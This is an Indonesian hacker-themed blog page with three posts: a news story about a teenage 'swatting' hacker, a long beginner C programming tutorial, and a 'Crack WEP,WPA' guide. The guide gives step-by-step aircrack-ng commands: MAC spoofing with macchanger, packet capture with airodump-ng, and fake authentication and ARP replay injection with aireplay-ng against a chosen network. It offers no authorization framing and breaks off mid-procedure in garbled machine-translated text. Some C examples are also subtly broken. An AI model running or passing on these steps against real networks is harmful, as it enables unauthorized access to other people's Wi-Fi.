Robin Master Gray Fox...Blogger

Selamat Datang dan selamat belajar :D

Robin Master Gray Fox...Blogger

Selamat Datang dan selamat belajar :D

3

Robin Master Gray Fox...Blogger

Selamat Datang dan selamat belajar :D

Robin Master Gray Fox...Blogger

Selamat Datang dan selamat belajar :D

Robin Master Gray Fox...Blogger

Selamat Datang dan selamat belajar :D

mp3 Player

Efek klik kanan

Jumat, 24 Juni 2016

Ditolak cewek , Ini Cara Hacker Balas Dendam

annindohacktivist.blogspot.co.id - Seorang hacker muda ditangkap karena telah melakukan kejahatan terhadap beberapa orang wanita. Hacker ini baru berusia 17 tahun dan dia menargetkan aksinya pada wanita muda pemain game komputer.

Remaja, yang namanya tidak diungkap karena masih berusia muda, divonis bersalah atas 23 tuduhan pemerasan, kenakalan publik, laporan palsu ke polisi dan pelecehan. Dia melakukan ini semua hanya untuk membalas dendam ke wanita-wanita muda yang menolak ajakan dirinya bergabung dalam permainan video popular, League of Legends.

Dilansir melalui Business Insider, Selasa 26 Mei 2015, remaja yang berasal dari British Columbia, Kanada, itu meretas jaringan komputer yang digunakan wanita-wanita yang menolaknya. Tidak hanya mematikan akses internet, dia juga mengancam mengunggah informasi pribadi gadis-gadis gamer itu di dunia maya.

Hacker muda ini memang tergolong iseng yang berujung bui. Dia pernah membuat laporan palsu ke kepolisian melalui telepon. Suatu ketika dia pernah menelepon polisi dan mengatakan jika ia telah membunuh seseorang, memegang bom di tangannya, dan meminta tebusan. Hebatnya, laporan palsu ini mengarahkan polisi agar bergegas menuju rumah gadis korban yang ia kerjai. Aksi ini memang cukup populer di komunitas game. Dikenal dengan nama 'Swatting'.

Pelecehan yang dilakukan hacker itu tidak hanya berhenti di situ. Dia bahkan pernah mengunggah informasi kartu kredit milik orang tua korban, mengirimkan 218 pesan singkat bertubi-tubi, serta meretas akun email dan Twitter para korban.

Teror dunia maya yang dilakukan si hacker berakhir setelah ia memposting video streaming selama delapan jam di Youtube. Dengan menggunakan nama akun 'obnoxious' dan 'internetjesusob', dia memperlihatkan cara mengerjai dan melecehkan korbannya yang ada di Ohio. Semua pengguna internet yang berkunjung ke video streamingnya itu langsung melapor ke polisi.

Remaja ini ternyata menjadi incaran pihak keamanan Kanada sejak lama untuk kejahatan serupa. Dia dikenal sebagai anggota peretas Lizard Squad, yang pernah membobol Xbox Live dan jaringan PlayStation di 2014.

Setelah peretas mudah ini ditangkap, kepolisian menemukan banyak kasus lain yang ternyata dilakukan olehnya, termasuk ancaman bom di Disneyland pada 2013.

Sumber : http://www.exhacking.net/

Rabu, 22 Juni 2016

Belajar Bahasa C





Learn C Cahya ganteng :v


################################################

Bahasa merupakan salah satu yang terpenting untuk berkomunikasi!, bayangkan jika anda bisa berdialog dengan komputer asik juga bukan ? nah berikut ini penulis akan membahas sedikit gimana cara berkomunikasi dengan komputer dengan bahasa pemprograman bahasa tingkat Tinggi yaitu Bahasa C selaku bahasa Tingkat tinggi,dasar pemprograman yang banyak dikembangkan sampai jaman sekarang ini, C telah banyak membantu perkembangan Bahasa komputer sebagai contoh banyak software canggih yang telah dilahirkannya seperti Keluarga Linux. terlalu panjang untuk dijabarkan disini!


oke kita mulai Belajar C dari tingkat dasar !

BAB I :

Bentuk dasar :
-------------
void main(){
//disini badan program diproses
}

#include
int main()
{
printf("Cahya lagi Nembak Pake sniffer\n");
return 0;
}

Hasil keluarannya tampak dimonitor anda:
----------------------------------------
Cahya  lagi Nembak Pake sniffer

Perhatikan :

#include <--- #include untuk membuka file header/library file stdio.h yang dibutuhkan oleh fungsi printf (kita harus sertakan)

int main() { <--- ini adalah fungsi utama pada saat program dijalankan
<--- pada saat kita mengcompile suatu program selalu fungsi ini yang dijalankan
printf(" test \n"); <--- fungsinya untuk mencetak text kelayar , \n artinya turun baris

return 1; <--- nilai yang dikembalikan oleh fungsi utama bernilai true
}

note
tanda { = pembuka
} = penutup

1 : true
0 : false


Apakah anda bisa membayangkan hasil dari source code ini..
--------------------------------------------------------
int main()
{
printf("./RobinMasterGrayFox\n");
printf("----------\n");
printf("Renjana Administrator\n");
printf("Komunity Millw0rm Crew");
return 0;
}

Bermain dengan tipe data :
------------------------
Apakah tipe data itu ?
Tipe data adalah jenis tipe dari suatu variable
contoh : abc ->> merupakan string
a ->> merupakan character
1,2,3,... ->> merupakan bilangan integer
1.001 ->> merupakan bilangan desimal (berkoma)
dll

nah didalam bahasa C terdapat tipe-tipe data yang menampung sesuai dengan data anda. Ada pun tipe data tersebut adalah sebagai berikut :

Type ³ Length ³ Range
------------------------------------------------------------------
unsigned char ³ 8 bits ³ 0 to 255
char ³ 8 bits ³ -128 to 127
enum ³ 16 bits ³ -32,768 to 32,767
unsigned int ³ 16 bits ³ 0 to 65,535
short int ³ 16 bits ³ -32,768 to 32,767
int ³ 16 bits ³ -32,768 to 32,767
unsigned long ³ 32 bits ³ 0 to 4,294,967,295
long ³ 32 bits ³ -2,147,483,648 to 2,147,483,647
float ³ 32 bits ³ 3.4 * (10**-38) to 3.4 * (10**+38)
double ³ 64 bits ³ 1.7 * (10**-308) to 1.7 * (10**+308)
long double ³ 80 bits ³ 3.4 * (10**-4932) to 1.1 * (10**+4932)

nah kira-kira jenis tipe data apa yang kita gunakan , itu tergantung dari kebutuhan saat kita membuat program!

contoh pemakaian sebagai berikut :
--------------------------------
Bermain dengan tipe data
#include
int main()
{
int angka; // int = tipe data , angka = merupakan variabel penampung
angka=1;
printf("nilai dari angka : %d\n", angka);
angka=5;
printf("nilai dari angka : %d\n", angka);
angka=-8;
printf("nilai dari angka : %d\n", angka);
return 0;
}

contoh lain :
------------
#include
int main()
{
int a = 2;
float x = 17.1, y = 8.95, z;
char c;

c = (char)a + (char)x;
c = (char)(a + (int)x);
c = (char)(a + x);
c = a + x;

z = (float)((int)x * (int)y);
z = (float)((int)(x * y));
z = x * y;
return 0;
}
note : tanda // artinya komentar yang anda sisipkan jika hanya untuk satu baris jika lebih anda bisa mengunakan

seperti ini :
/*
komentarnya disini
*/

Apa yang terdapat dalam tanda itu tidak akan dieksekusi (dijalankan/running) oke!, gimana sekarang tidak terlalu sulit bukan? :p

Program mengenal tipe data
--------------------------
#include
int main()
{
int a; /* simple integer type */
long int b; /* long integer type */
short int c; /* short integer type */
unsigned int d; /* unsigned integer type */
char e; /* character type */
float f; /* floating point type */
double g; /* double precision floating point */

a = 1023;
b = 2222;
c = 123;
d = 1234;
e = 'X';
f = 3.14159;
g = 3.1415926535898;

printf("a = %d\n", a); /* decimal output */
printf("a = %o\n", a); /* octal output */
printf("a = %x\n", a); /* hexadecimal output */
printf("b = %ld\n", b); /* decimal long output */
printf("c = %d\n", c); /* decimal short output */
printf("d = %u\n", d); /* unsigned output */
printf("e = %c\n", e); /* character output */
printf("f = %f\n", f); /* floating output */
printf("g = %f\n", g); /* double float output */

printf("\n");
printf("a = %d\n", a); /* simple int output */
printf("a = %7d\n", a); /* use a field width of 7 */
printf("a = %-7d\n", a); /* left justify in field of 7 */

c = 5;
d = 8;
printf("a = %*d\n", c, a); /* use a field width of 5 */
printf("a = %*d\n", d, a); /* use a field width of 8 */

printf("\n");
printf("f = %f\n", f); /* simple float output */
printf("f = %12f\n", f); /* use field width of 12 */
printf("f = %12.3f\n", f); /* use 3 decimal places */
printf("f = %12.5f\n", f); /* use 5 decimal places */
printf("f = %-12.5f\n", f); /* left justify in field */
return 0;
}


PERHATIKAN TABLE berikut ini
# Category ³ Operator ³ What it is (or does)
---------------------------------------------------------------------------
1. Highest ³ () ³ Function call
³ [] ³ Array subscript
³ -> ³ C++ indirect component selector
³ :: ³ C++ scope access/resolution
³ . ³ C++ direct component selector
---------------------------------------------------------------------------
2. Unary ³ ! ³ Logical negation (NOT)
³ ~ ³ Bitwise (1's) complement
³ + ³ Unary plus
³ - ³ Unary minus
³ ++ ³ Preincrement or postincrement
³ -- ³ Predecrement or postdecrement
³ & ³ Address
³ * ³ Indirection
³ sizeof ³ (returns size of operand, in bytes)
³ new ³ (dynamically allocates C++ storage)
³ delete ³ (dynamically deallocates C++ storage)
---------------------------------------------------------------------------
3. Multipli- ³ * ³ Multiply
cative ³ / ³ Divide
³ % ³ Remainder (modulus)
---------------------------------------------------------------------------
4. Member ³ .* ³ C++ dereference
access ³ ->* ³ C++ dereference
---------------------------------------------------------------------------
5. Additive ³ + ³ Binary plus
³ - ³ Binary minus
---------------------------------------------------------------------------
6. Shift ³ << ³ Shift left
³ >> ³ Shift right
---------------------------------------------------------------------------
7. Relational ³ < ³ Less than
³ <= ³ Less than or equal to
³ > ³ Greater than
³ >= ³ Greater than or equal to
---------------------------------------------------------------------------
8. Equality ³ == ³ Equal to
³ != ³ Not equal to
---------------------------------------------------------------------------
9. ³ & ³ Bitwise AND
---------------------------------------------------------------------------
10. ³ ^ ³ Bitwise XOR
---------------------------------------------------------------------------
11. ³ | ³ Bitwise OR
---------------------------------------------------------------------------
12. ³ && ³ Logical AND
---------------------------------------------------------------------------
13. ³ || ³ Logical OR
---------------------------------------------------------------------------
14. Conditional³ ?: ³ (a ? x : y means "if a then x, else y")
---------------------------------------------------------------------------
15. Assignment ³ = ³ Simple assignment
³ *= ³ Assign product
³ /= ³ Assign quotient
³ %= ³ Assign remainder (modulus)
³ += ³ Assign sum
³ -= ³ Assign difference
³ &= ³ Assign bitwise AND
³ ^= ³ Assign bitwise XOR
³ |= ³ Assign bitwise OR
³ <<= ³ Assign left shift
³ >>= ³ Assign right shift
---------------------------------------------------------------------------
16. Comma ³ , ³ Evaluate
---------------------------------------------------------------------------

contoh programnya
-----------------
#include
int main()
{
char mask;
char number[6];
char and, or, xor, inv, index;

number[0] = 0X00;
number[1] = 0X11;
number[2] = 0X22;
number[3] = 0X44;
number[4] = 0X88;
number[5] = 0XFF;

printf(" nmbr mask and or xor inv\n");
mask = 0X0F;
for (index = 0 ; index <= 5 ; index++)
{
and = mask & number[index];
or = mask | number[index];
xor = mask ^ number[index];
inv = ~number[index];
printf("%5x %5x %5x %5x %5x %5x\n",
number[index], mask, and, or, xor, inv);
}

printf("\n");
mask = 0X22;
for (index = 0 ; index <= 5 ; index++)
{
and = mask & number[index];
or = mask | number[index];
xor = mask ^ number[index];
inv = ~number[index];
printf("%5x %5x %5x %5x %5x %5x\n",
number[index], mask, and, or, xor, inv);
}

return 0;
}

BAB II : Perulangan

Terkadang sangat melelahkan jika kita mencetak sebuah kata "hello world " sebanyak 1000 kali dengan adanya perulangan semua jadi simple! macam-macam perulangan yang terdapat pada Bahaca c :
1.for
2.while
3.do-while

contoh pemakaian sebagai berikut :
--------------------------------
1. for (awal ;kondisi ;akhir)
{

}

Perhatikan soure code dibawah ini

contoh :
#include
int main()
{
int angka;
for(angka = 0 ; angka < 1000 ; angka = angka + 1)
printf("Cahya  ganteng lo\n");
return 0;
}
/* Outputnya : mencetak Cahya  ganteng sebanyak seribu kali (perhatikan kondisinya)
Jika bernilai True (benar) maka statement didalam { } akan dijalankan
Jika bernilai False kondisi didalam perulangan tidak akan dijalankan
*/

2.while

contoh pemakaian sebagai berikut :
--------------------------------
awal =0;
while (kondisi) {
awal=awal+1; /// variabel awal akan bertambah sesuai dengan dengan kondisi didalam = while(kondisi)
}

contoh :
#include
int main()
{
int index;

index = 0;
while (index < 10)
{
printf("mr.Udien\n");
index = index + 1;
}

return 0;
}

3.do-while

contoh pemakaian sebagai berikut :
--------------------------------
awal =0;
do{
awal=awal+1
}while(kondisi)


contoh :
#include
int main()
{
int index;

index = 0;
do
{
printf("Cahya\n");
index = index + 1;
} while (index < 10);

return 0;
}

note :
awal=awal+1; /// dapat ditulis dengan awal+=1; (ini sama saja artinya)

nilai awal selalu ditambah dengan angka satu, contoh :

int main()
{
int x = 0, y = 2, z = 1025;
float a = 0.0, b = 3.14159, c = -37.234;
x = x + 1;
x++;
++x;
z = y++;
z = ++y;

y = y - 1;
y--;
--y;
y = 3;
z = y--;
z = --y;


a = a + 12;
a += 12;
a *= 3.2;
a -= b;
a /= 10.0;

a = (b >= 3.0 ? 2.0 : 10.5 );
if (b >= 3.0)
a = 2.0;
else
a = 10.5;

c = (a > b ? a : b);
c = (a > b ? b : a);

return 0;
}

Gimana dengan konstanta suatu nilai :
kita dapat menggunakan #DEFINE

Contoh :

#define START 0
#define ENDING 9
#define MAX(A,B) ((A)>(B)?(A):(B))
#define MIN(A,B) ((A)>(B)?(B):(A))
int main()
{
int index, mn, mx;
int count = 5;

for (index = START ; index <= ENDING ; index++)
{
mx = MAX(index, count);
mn = MIN(index, count);
printf("Max is %d and min is %d\n", mx, mn);
}

return 0;
}


BAB III : Kondisi

Kondisi sangat perlu sebagai pembatas atau pengecekan suatu nilai, ada 2 bentuk penulisan kondisi :
1. if
2. switch -case

1. if(kondisi) {

}

if(kondisi ){
}else{
if(kondisi){

}else{

}
}

contoh pemakaian sebagai berikut :
--------------------------------
a = 4;
if (a < 2 ) // apakah a lebih besar dari 4

if (a < 2 ) { // apakah a lebih besar dari 4
//akan mengeksekusi didalam sini
}

if (a < 2 ) { // apakah a lebih besar dari 4

//akan mengeksekusi didalam sini Jika kondisinya berlaku benar
}else{ //selain itu
//akan mengeksekusi didalam sini jika Kondisinya berlaku salah

}

1. switch-case

contoh pemakaian sebagai berikut :
--------------------------------
awal = 4;
swicth(awal){
case '1' : printf("ini angka 1"); break;
case '2' : printf("ini angka 2"); break;
case '3' : printf("ini angka 3"); break;
case '4' : printf("ini angka 4"); break;
default : printf("angka tersebut tidak ada");
}

perhatikan source diatas
pertama kali awal=4
sewaktu masuk kedalam kondisi swith(kondisi)
apakah 4 termasuk didalam switch
jika terdapat maka baris : printf("ini angka 4"); //akan dijalankan
jika tidak terdapat maka akan lompat ke default : printf("angka tersebut tidak ada");

coba sekarang anda rubah awal =1;
apa yang terjadi ? // pikirkan sendiri :p

Contoh lain:
operand =ADD;
switch (operand) {
case MULTIPLY: x *= y; break;
case DIVIDE: x /= y; break;
case ADD: x += y; break;
case SUBTRACT: x -= y; break;
case INCREMENT2: x++;
case INCREMENT1: x++; break;
case EXPONENT:
case ROOT:
case MOD: printf("Not done\n"); break;
default: printf("Bug!\n");

exit(1);
}


contoh kombinasinya :
-------------------
#include
int main()
{
int index;

for(index = 1 ; index < 101 ; index = index + 1)
{
if ((index >= 32) && (index <= 39))
printf("%5d\n", index);
}

return 0;
}

atau bentuk begini
#include
int main()
{
int index;

index = 1;
do
{
printf("nilai sekarang %2d",index);
if (index == 3)
printf(" ini sama dengan 3.");
if (index == 7)
printf(" ini sama dengan 7.");
printf("\n");
index = index + 1;
} while (index < 11);

return 0;
}

----- pikirkan kembali bentuk seperti dibawah ini ----------------
#include
#define OPTION_1 /* This defines the preprocessor control */
#define PRINT_DATA /* If this is defined, we will print */
#ifndef OPTION_1
int count_1 = 17; /* This exists if OPTION_1 is not defined */
#endif
int main()
{
int index;
#ifndef PRINT_DATA
printf("No results will be printed with this version of "
" the program IFNDEF.C\n");
#endif
for (index = 0 ; index < 6 ; index++)
{
#ifdef PRINT_DATA
printf("In the loop, index = %d", index);
#ifndef OPTION_1
printf(" count_1 = %d", count_1); /* This may be printed */
#endif
printf("\n");
#endif
}

return 0;
}

// apakah anda bisa membayangkannya ? apa maksud dari #ifndef - #endif
?

contoh Mengenal enum


contoh pemakaian sebagai berikut :
--------------------------------
#include
int main()
{
enum {WIN, TIE, BYE, LOSE, NO_SHOW} result;
enum {SUN, MON, TUE, WED, THU, FRI, SAT} days;

result = WIN;
printf(" WIN = %d\n", result);
result = LOSE;
printf(" LOSE = %d\n", result);
result = TIE;
printf(" TIE = %d\n", result);
result = BYE;
printf(" BYE = %d\n", result);
result = NO_SHOW;
printf("NO_SHOW = %d\n\n", result);

for(days = MON ; days < FRI ; days++)
printf("The day code is %d\n", days);

return 0;
}


BAB IV : fungsi

Bayangkan jika program anda sekarang dalam baris yang sangat panjang, merepotkan sekali bukan nah dengan fungsi kita dapat menyederhakan sebuah program menjadi jelas dan mudah di baca

okeh.. kita mulai lagi.
contoh pemakaian sebagai berikut :
--------------------------------
#include
void writename(); // ini sebuah fungsi
void writename() // ini sebuah fungsi bernama writename()
{
printf("Cahya\n");
}

int main()
{
int index;

for(index = 0 ; index < 10 ; index = index + 1)
writename(); // panggil fungi yang bernama writename();
return 0;
}

contoh lain ;

#include

int tempcalc(int centtemp);

int main()
{
int count;
int farenheit; /* temperature farenheit */
int centigrade; /* temperature centigrade */

printf("Table Farenheit temperature \n\n");
for(count = -2 ; count <= 12 ; count = count + 1)
{
centigrade = 10 * count;
farenheit = tempcalc(centigrade);
printf(" C =%4d F =%4d ", centigrade, farenheit);
if (centigrade == 0)
printf(" Freezing point of water");
if (centigrade == 100)
printf(" Boiling point of water");
printf("\n");
} /* akhir dari perulangan*/

return 0;
}

int tempcalc(int centtemp)
{
int faren;

faren = 32 + (centtemp * 9)/5;
return (faren);
}



note :
ingat , didalam sebuah program terdapat yang namanya variabel local dan grobal, jika kita ingin melempar sebuah varibel kesuatu fungsi maka kita dapat melakukan hal sebagai berikut

model passing by value
----------------------
void fungsi (int tampung){
printf("%d",tampung); /// disini nilai 5 akan tercetak dari operan
dibawah
}

void main(){
int a=5;
cetak(a); ///lempar variabel a ke fungsi cetak diatas
}

gimana jika kita ingin melempar sebuah 2 buah varibel
void fungsi (int tampung, float tampung1){
printf("%d",tampung); /// disini nilai 5 akan tercetak dari operan dibawah
printf("%f",tampung1); /// disini nilai 4.5 akan tercetak dari operan dibawah
}

void main(){
int a=5;
float b=4.5
cetak(a,b); ///lempar variabel a ke fungsi cetak diatas
}

model passing by pointer
------------------------
void testing(int &a){
printf("%d",*a);
}

void main(){
int a=5;
testing(&a);
}

perhatikan tipe data yang anda lemparkan ,,, dia harus di tampung didalam tipe yang sama (jika memungkinkan)

contoh kombinasi :
#include
void header(void);
void square(int number);
void ending(void);

int sum; /* ini global variable */

int main(void)
{
int index; // ini local variabel

header(); /* ini memanggil fungsi header */
for (index = 1 ; index <= 7 ; index++)
square(index); /* ini memanggil fungsi square */
ending(); /* ini memanggil fungsi ending */

return 0;
}

void header(void) /* ini fungsi header */
{
sum = 0; /* inisialisasi dari sum=0 */
printf("ini adalah header dari square program\n\n");
}

void square(int number) /* ini fungsi square */
{
int numsq;

numsq = number * number;
sum += numsq;
printf("nilai square %d adalah %d\n", number, numsq);
}

void ending(void) /* ini fungsi ending */
{
printf("\njumlah dari square adalah %d\n", sum);
}

/* ouputnya
ini adalah header dari square program
nilai square 1 adalah 1
nilai square 2 adalah 4
nilai square 3 adalah 9
nilai square 4 adalah 16
nilai square 5 adalah 25
nilai square 6 adalah 36
nilai square 7 adalah 49
jumlah dari square adalah :140
*/


BAB V: Mengenal Array

Array adalah kumpulan tipe data yang sejenis, kita dapat mendeklarasikan Array kedalam berbagai Dimensi

tampung[5]; // 1 Dimensi
tampung[5][5]; // 2 Dimensi
tampung[5][5][3]; // 3 Dimensi
...
.......
dan seterusnya
cara pendeklarasian :
int tampung[5];
float tampung[5];
char tampung[20];
int tampung[5][5];

angka 5 menjelaskan bawah kita mempunyai 5 data didalam variabel tampung cara pengisian langsung ;

int tampung[5] ={1,2,3,4,5};
float tampung[5] = { 1.0.2.0.3.0.4.0.5.0};
char tampung[5] = {'a','b','c','d','e'};


contoh pemakaian sebagai berikut :
--------------------------------
#include
#include
char my_string[20] = "C hebat!";
int main()
{
int index;
printf("%s\n", my_string);
for (index = 0 ; my_string[index] ; index = index + 1)
printf("%c", my_string[index]);
printf("\n");

for(index = strlen(my_string) ; index > 0 ; index = index - 1)
printf("%c", my_string[index - 1]);
printf("\n");

return 0;
}



contoh lain :

#include
#include

int main()
{
int index;
char stuff[20], *pt;

strcpy(stuff, "This is a neat test.");
pt = stuff;
for(index = 0 ; index < 20 ; index++)
{
printf("A character is ---> %c\n", *pt);
pt++;
}

return 0;
}

#include
#include
int main()
{
int index;
char string1[6], string2[6], string3[6], all_three[18];

strcpy(string1, "one"); //mencopy string "one" kedalam varibel
string1
strcpy(string2, "two"); //idem
strcpy(string3, "three"); // idem

strcpy(all_three, string1);
strcat(all_three, " "); // mengosongkan isi variabel all_tree;

strcat(all_three, string2); // gabungkan isinya
strcat(all_three, " ");
strcat(all_three, string3);

for(index = 0 ; index < 10 ; index = index + 1)
printf("hasil stringnya ---> %s\n", all_three);
return 0;
}


#include
int main()
{
int index, array1[10], array2[10], arrays[10];

for(index = 0 ; index < 10 ; index = index + 1)
{
array1[index] = 2 + 2 * index;
array2[index] = 10 * (index + 1);
}

for(index = 0 ; index < 10 ; index = index + 1)
arrays[index] = array1[index] + array2[index];

for(index = 0 ; index < 10 ; index = index + 1)
printf("%4d %4d + %4d = %4d\n", (index + 1), array1[index],
array2[index], arrays[index]);

return 0;
}

Contoh penggunaan Array 2 Dimensi
--------------------------------
#include
int main()
{
int i, j;
int big[8][8], large[25][12];

for (i = 0 ; i < 8 ; i++)
for (j = 0 ; j < 8 ; j++)
big[i][j] = i * j; /* perkalian tables */

for (i = 0 ; i < 25 ; i++)
for (j = 0 ; j < 12 ; j++)
large[i][j] = i + j; /* penambahan tabel*/

big[2][6] = large[24][10] * 22;
big[2][2] = 5;
big[big[2][2]][big[2][2]] = 177; /* big[5][5] = 177; */

for (i = 0 ; i < 8 ; i++)
{
for (j = 0 ; j < 8 ; j++)
printf("%5d ", big[i][j]);
printf("\n");
}

return 0;
}


BAB VI: Bermain dengan file

untuk bermain dengan file kita harus mendeklarasikannya terlebih dahulu;
contoh;

FILE *ptrfile ; //pointer penunjuk kesebuah file
ptrfile = fopen(outfilename, "w"); /// membuka suatu file ,ditampung disebuah ptrfile
fclose (outfilename); // menutup kembali file yang barusan dibuka

perhatikan tanda "w " , itu disebut dengan modus
modus sangat perlu jika kita bermain dengan file :
r ³ Open for reading only
w ³ Create for writing
³ If a file by that name already exists, it will be overwritten.
a ³ Append; open for writing at end of file, or create for
³ writing if the file does not exist.
r+ ³ Open an existing file for update (reading and writing)
w+ ³ Create a new file for update (reading and writing).
³ If a file by that name already exists, it will be overwritten.
a+ ³ Open for append; open for update at the end of the file, or
³ create if the file does not exist.


contoh :

#include
int main()
{
FILE *infile, *outfile, *printer;
char infilename[25], outfilename[25];
int c;
printf("Enter input file name ----> ");
scanf("%s", infilename);
infile = fopen(infilename, "r");

printf("Enter output file name ---> ");
scanf("%s", outfilename);
outfile = fopen(outfilename, "w");
printer = fopen("PRN", "w");
do
{
c = getc(infile);
if (c != EOF)
{
putchar(c);
putc(c, outfile);
putc(c, printer);
}
} while (c != EOF);
fclose(printer);
fclose(infile);
fclose(outfile);
return 0;
}


contoh lain :
#include
int main()
{
FILE *infile;
char *c, infilename[25], inputline[100];
int line = 1;

printf("Enter input file name ----> ");
scanf("%s", infilename);
infile = fopen(infilename, "r");

printf("%5d", line);
do
{
c=fgets(inputline, 100, infile); /* baca perbaris */
if (c != NULL)
{
printf("%5d %s", line, inputline);
line++;
}
} while (c != NULL);

fclose(infile);

return 0;
}



#include
int main()
{
FILE *fp1;
char oneword[100], filename[25];
char *c;

printf("Enter filename -> ");
scanf("%s", filename); /* baca nama file */
fp1 = fopen(filename, "r");
if (fp1 == NULL)
{
printf("File doesn't exist\n");
exit (1);
}
else
{
do
{
c = fgets(oneword, 100, fp1); /* baca perbaris dari file*/
if (c != NULL)
printf("%s", oneword); /* tampilkan dimonitor */
} while (c != NULL); /* ulangi sampai ketemu NULL
*/
}
fclose(fp1);

return 0;
}



BAB IX: Mengenal struct

struct dalah kumpulan dari berbagai tipe data menjadi satu.
cara pendeklarasian :
struct nama{
int a;
float b ; // berbeda bisa dijadikan dalam 1 struct;
char z;
};

contoh pemakaian sebagai berikut :
--------------------------------
struct nama{
int a;
float b ;
char z;
};

void main() {
nama.a =5;
nama.b =4.0;
nama.z = 'a';

}

contoh lain berupa Array of struct
#include
#include
struct
{
char what[25];
int legs, arms;
} object[6];

int main()
{
int index;

strcpy(object[0].what, "human being");
object[0].legs = 2;
object[0].arms = 2;

strcpy(object[1].what, "dog");
object[1].legs = 4;
object[1].arms = 0;

strcpy(object[2].what, "television set");
object[2].legs = 4;
object[2].arms = 0;

strcpy(object[3].what, "chair");
object[3].legs = 4;
object[3].arms = 2;

strcpy(object[4].what, "centipede");
object[4].legs = 100;
object[4].arms = 0;

strcpy(object[5].what, "spider");
object[5].legs = 6;
object[5].arms = 0;

for(index = 0 ; index < 6 ; index++)
{
printf("A %s has %d legs and %d arms.\n", object[index].what,
object[index].legs, object[index].arms);
}

return 0;
}


contoh kombinasinya , menggunakan pointer:

#include
#include
struct
{
char what[25];
int legs, arms;
} object[6], *point;

int main()
{
int index;

strcpy(object[0].what, "human being");
object[0].legs = 2;
object[0].arms = 2;

strcpy(object[1].what, "dog");
object[1].legs = 4;
object[1].arms = 0;

strcpy(object[2].what, "television set");
object[2].legs = 4;
object[2].arms = 0;

strcpy(object[3].what, "chair");
object[3].legs = 4;
object[3].arms = 2;

strcpy(object[4].what, "centipede");
object[4].legs = 100;
object[4].arms = 0;

strcpy(object[5].what, "spider");
object[5].legs = 6;
object[5].arms = 0;

point = object;
for(index = 0 ; index < 6 ; index++)
{
printf("A %s has %d legs and %d arms.\n", point->what,
point->legs, point->arms);
point++;
}

return 0;
}


#include
#include

struct child
{
char initial;
int age;
int grade;
} *boy, *girl;

int main()
{
boy = (struct child *)malloc(sizeof(struct child));

boy->initial = 'R';
boy->age = 15;
boy->grade = 75;

girl = (struct child *)malloc(sizeof(struct child));

girl->age = boy->age - 1;
girl->grade = 82;
girl->initial = 'H';

printf("%c is %d years old and got a grade of %d\n",
girl->initial, girl->age, girl->grade);

printf("%c is %d years old and got a grade of %d\n",
boy->initial, boy->age, boy->grade);

return 0;
}


#include
#include

struct child
{
char initial;
int age;
int grade;
} *kids[12];

int main()
{
int index;

for (index = 0 ; index < 12 ; index++)
{
kids[index] = (struct child *)malloc(sizeof(struct child));
kids[index]->initial = 'A' + index;
kids[index]->age = 16;
kids[index]->grade = 84;
}

kids[3]->age = kids[5]->age = 17;
kids[2]->grade = kids[6]->grade = 92;
kids[4]->grade = 57;

*kids[10] = *kids[4]; /* Structure assignment */

for (index = 0 ; index < 12 ; index++)
printf("%c is %d years old and got a grade of %d\n",
kids[index]->initial, kids[index]->age,
kids[index]->grade);

return 0;
}



BAB X: Program Penekanan tombol keybord

#include
#include

int main()
{
char input_char;

printf("Hit any key - to stop hit a $\n");
do
{
input_char = getch();
printf("Input character is %c, numerical value is %3d\n",
input_char, input_char);
} while (input_char != '$');

return 0;
}


contoh lain

#include
#include
char storage[80];
int main()
{
char c;
int index = 0;

printf("Tekan sembarang character, keluar dari program tekan X\n");

do
{
c = getch(); /* ambil sebuah character */
if (index < 79) /* batas dari 79 characters */
{
storage[index] = c;
index++;
}
putchar(c); /* tampilkan hit key */
} while (c != 'X');
storage[index] = 0;
printf("%s\n", storage);
printf("\nAkhir dari program.\n");

return 0;
}



Waw... asik juga berkomunikasi dengan komputer dikala suntuk!

ini adalah dasar-dasar pemprograman C. kembangkan lagi sesuai kreatifitas dan imajinasi anda. semoga kita tidak hanya menjadi script kidde terus!, yang tahunya hanya mengcompile dan binggung jika terjadi error :)) .


NOTE : Semua program ini dibuat dan dicompile dengan Borland C 3.1.
Pemberitahuan :
---------------
1. Artikel ini dimaksudkan untuk bahan pelajaran siapa saja yang ingin mengembangkan pengetahuan programming .
2. Dilarang mempublis tanpa mengikutsertakan nama penulis, dengan harapan ingin dianggap Hacker ato apalah ?
3. Jika ada pertanyaan kirimkan ke Email penulis
4. Mohon Maaf jika ada salah kata2 cahyakm11@gmail.com


Report buqs: cahyakm11@gmail.com


Kamis, 16 Juni 2016

Crack WEP,WPA

Video nya ADA di grup: Bergabung? Klik disini !!
Langkah 1:-

Pertama download Backtrack

Langkah 2:-

Burning iso CD dan boot laptop Anda dari drive CD

Langkah 3: -

Pilih opsi boot ketiga (VESA / KDE).

Langkah 4: -

Setelah di BT3, klik kotak hitam kecil di sudut kiri bawah untuk memuat sebuah

"Konsole" jendela.

Langkah 5: -

Ketik perintah berikut

airmon-ng

Note down the interface name. Dalam contoh wifi0 ini

Langkah 6: -

airmon-ng berhenti wifi0

Langkah 7: -

ifconfig wifi0 bawah

Langkah 8: -

macchanger --mac 00: 11: 22: 33: 44: 66 wifi0

Langkah 9: -

airmon-ng start wifi0

Langkah 10: -

airodump-ng wifi0

Ini akan mulai mengisi jaringan Wifi. Tekan Ctrl + C untuk menghentikan.

Memeriksa jaringan dengan enkripsi WEP.

Notedown BSSID, CH dan ESSID di suatu tempat di notepad / Text pad

Perhatikan bahwa jika BSSID yang sama tersedia di bagian kedua dengan STATION terkait dengan itu,

berarti Anda seseorang sedang mengakses jaringan itu dan tugas kita akan sedikit lebih mudah.

Jika tidak dari jangan khawatir kita masih akan Crack itu.

Langkah 11: -

airodump-ng -c (channel) -w (nama file)

Menggantikan

(Channel) dengan CH yang u sudah n

(Nama file) dengan nama pilihan Anda

(BSSID) dengan BSSID yang u sudah dicatat

--bssid (BSSID) wifi0

Catatan itu

Tinggalkan konsol ini seperti itu dan mulai konsole baru

Langkah 12: -

aireplay-ng -1 0 -a (bssid) -h 00: 11: 22: 33: 44: 66 wifi0

Jika Anda tidak mendapatkan Asosiasi mesage Sukses kemudian terus mencoba sampai

Anda mendapat kesuksesan.

Langkah 13: -

aireplay-ng -3 -b (BSSID) -h 00: 11: 22: 33: 44: 66 wifi0

Nah jika Anda tidak melihat ARP ACK dan mengirim paket tidak meningkat atau masih 0

dari itu berarti tidak ada 1 adalah

mengakses yang network.But jangan khawatir Anda pergi langkah opsional,

Tinggalkan konsol ini seperti itu dan mulai k baru

Langkah 14: -

aireplay-ng -2 p 0841 -c FF: FF: FF: FF: FF: FF

konsole

Pesan dari terus mencoba sampai Anda sukses

